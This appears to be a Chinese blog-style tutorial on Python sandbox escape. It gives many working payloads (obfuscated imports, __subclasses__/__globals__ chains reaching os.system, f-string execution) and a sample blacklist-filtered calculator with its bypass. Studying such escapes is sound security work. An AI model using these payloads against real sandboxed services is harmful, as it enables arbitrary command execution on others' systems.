LOADING...

dadada~

loading

Python沙箱逃逸


Python中执行系统命令的方式

  • 使用os包中的popensystem两个函数来直接执行shell

  • 使用commands模块中的方法

  • 使用subprocess

  • 使用写文件到指定位置,再使用其他辅助手段

  • 如:

    import os
    import subprocess
    import commands
    
    os.system('whoami')
    os.popen('whoami')
    commands.getoutput('whoami') # py2
    commands.getstatusoutput('whoami') # py2
    subprocess.call(['whoami'],shell=True)
    

花式 import

  • 对于防御者来说,最基础的思路,就是对代码的内容进行检查,最常见的方法就是禁止引入敏感的包

  • 利用__import__函数

    f = __import__("pbzznaqf".decode('rot_13'))
    print(f.getoutput('ifconfig'))
    
  • 使用importlib

    import importlib
    f = importlib.import_module("pbzznaqf".decode('rot_13'))
    print(f.getoutput('ifconfig'))
    
  • __builtin__模块:可以通过reload(__builtin__)得到完整的模块,reload被删除时:

    import imp
    imp.reload(__builtin__)
    
  • os从sys.modules中删掉:(所有的类unix系统中,Python的os模块的路径几乎都是/usr/lib/python2.7/os.py中)

    import sys
    sys.modules['os']='/usr/lib/python2.7/os.py'
    import os
    
  • 引入模块的过程,就是把对应模块的代码执行一遍的过程,禁止引入时,知道对应的路径,就可以执行相应的代码:

    execfile('/usr/lib/python2.7/os.py')
    system('ls')
    # 3.x 删了 execfile,不过可以这样:
    with open('/usr/lib/python3.6/os.py','r') as f:
        exec(f.read())
    system('ls')
    

处理字符串

  • 拼接:

    b = 'o'
    a = 's'
    __import__(a+b).system('ls')
    
  • 逆序:

    eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
    exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
    __import__('so'[::-1]).system('dir')
    
  • 通过 getattr 拿到对象的方法、属性:

    import os
    getattr(os, 'metsys'[::-1])('whoami')
    # 或
    getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')
    

通过继承关系逃逸

  • Python中新式类都有个属性,叫__mro__,是个元组,记录了继承关系

    >>> ''.__class__.__mro__
    (<type 'str'>, <type 'basestring'>, <type 'object'>)
    
  • 由于没法直接引入os,假如有个库叫oos,在oos中引入了os,就可以通过__globals__拿到 os(__globals__是函数所在的全局命名空间中所定义的全局变量)

  • 如:site 库就有 os

    >>> import site
    >>> site.os
    <module 'os' from 'E:\Python2\lib\os.pyc'>
    
  • 可以利用reload加载os

    import site
    os = reload(site.os)
    os.system('whoami')
    
  • __subclasses__看子类:

    for i in enumerate(''.__class__.__mro__[-1].__subclasses__()):
         print(i)
    # 利用site._Printer引入os
    ''.__class__.__mro__[-1].__subclasses__()[73]._Printer__setup.__globals__['os']
    
  • 这个方法不仅限于 A->os,还可以是 A->B->os,比如 2.x 中的 warnings

    import warnings
    warnings.linecache
    warnings.linecache.os
    
  • 在继承链中:

    [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
    
  • 通过warnings.catch_warnings,的_module属性构造payload:

    [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami')
    
  • 利用builtin_function_or_method__call__

    "".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, '1+1')
    [].__getattribute__('append').__class__.__call__(eval, '1+1')
    class test(dict):
        def __init__(self):
            print(super(test, self).keys.__class__.__call__(eval, '1+1'))
            # 如果是 3.x 的话可以简写为:
            # super().keys.__class__.__call__(eval, '1+1'))
    test()
    
  • 总结:通过__class____mro____subclasses____bases__等等属性/方法去获取 object,再根据__globals__找引入的__builtins__或者eval等能够直接被利用的库,或找到builtin_function_or_method类/类型__call__后直接运行eval

文件读写

  • 2.x 有个内建的 file函数,还有个 open,2.x 与 3.x 通用:

    file('key', 'w').write('123456')
    file('key').read()
    
  • 还有一些库,例如:types.FileType(rw)platform.popen(rw)linecache.getlines(r)

  • 如果可写文件,可以将文件保存为xxx.py,然后 import 进来执行命令:

    # xxx.py
    import os
    print(os.system('whoami'))
    # 1.py
    import xxx
    
  • py 文件命名是有技巧的,要挑一个常用的标准库,因为过滤库名可能采用的是白名单,有些库是在sys.modules中有的,这些库无法利用,会直接从sys.modules中加入

其它

  • 过滤[]:将[]的功能用pop__getitem__ 代替(实际上a[0]就是在内部调用了a.__getitem__(0)

  • 新特性:PEP 498 引入了 f-string,在 3.6 开始出现:f'{__import__("os").system("whoami")}'

  • dir()__dict__:列出一个模组/类/对象 下面 所有的属性和函数

  • getattr:函数接受两个参数,一个模组或者对象,第二个是一个字符串,该函数会在模组或者对象下面的域内搜索有没有对应的函数或者属性

    import codecs
    import os
    
    getattr(os, codecs.encode("flfgrz", 'rot13'))('whoami')
    

例题

def banner():
    print "============================================="
    print "   Simple calculator implemented by python   "
    print "============================================="
    return


def getexp():
    return raw_input(">>> ")


def _hook_import_(name, *args, **kwargs):
    module_blacklist = ['os', 'sys', 'time', 'bdb', 'bsddb', 'cgi',
                        'CGIHTTPServer', 'cgitb', 'compileall', 'ctypes', 'dircache',
                        'doctest', 'dumbdbm', 'filecmp', 'fileinput', 'ftplib', 'gzip',
                        'getopt', 'getpass', 'gettext', 'httplib', 'importlib', 'imputil',
                        'linecache', 'macpath', 'mailbox', 'mailcap', 'mhlib', 'mimetools',
                        'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'new',
                        'optparse', 'pdb', 'pipes', 'pkgutil', 'platform', 'popen2', 'poplib',
                        'posix', 'posixfile', 'profile', 'pstats', 'pty', 'py_compile',
                        'pyclbr', 'pydoc', 'rexec', 'runpy', 'shlex', 'shutil', 'SimpleHTTPServer',
                        'SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer',
                        'subprocess', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib',
                        'tempfile', 'Tix', 'trace', 'turtle', 'urllib', 'urllib2',
                        'user', 'uu', 'webbrowser', 'whichdb', 'zipfile', 'zipimport']
    for forbid in module_blacklist:
        if name == forbid:  # don't let user import these modules
            raise RuntimeError('No you can\' import {0}!!!'.format(forbid))
    # normal modules can be imported
    return __import__(name, *args, **kwargs)


def sandbox_filter(command):
    blacklist = ['exec', 'sh', '__getitem__', '__setitem__',
                 '=', 'open', 'read', 'sys', ';', 'os']
    for forbid in blacklist:
        if forbid in command:
            return 0
    return 1


def sandbox_exec(command):  # sandbox user input
    result = 0
    __sandboxed_builtins__ = dict(__builtins__.__dict__)
    __sandboxed_builtins__['__import__'] = _hook_import_  # hook import
    del __sandboxed_builtins__['open']
    _global = {
        '__builtins__': __sandboxed_builtins__
    }
    if sandbox_filter(command) == 0:
        print 'Malicious user input detected!!!'
        exit(0)
    command = 'result = ' + command
    try:
        exec command in _global  # do calculate in a sandboxed environment
    except Exception, e:
        print e
        return 0
    result = _global['result']  # extract the result
    return result


banner()
while 1:
    command = getexp()
    print sandbox_exec(command)
  • exec command in _global:由于exec运行在自定义的全局命名空间里,会处于受限执行模式,exec加上定制的globals会使得沙箱安全很多,一些常规的payload是没法使用的

  • 但由于exec运行在特定的命名空间里,可以通过其他命名空间里的 __builtins__,比如types库,来执行任意命令:

    getattr(__import__('types').__builtins__['__tropmi__'[::-1]]('so'[::-1]), 'mets' 'ys'[::-1])('whoami')
    

参考文章:

一文看懂Python沙箱逃逸 - FreeBuf网络安全行业门户

Python沙箱逃逸的n种姿势 - 先知社区 (aliyun.com)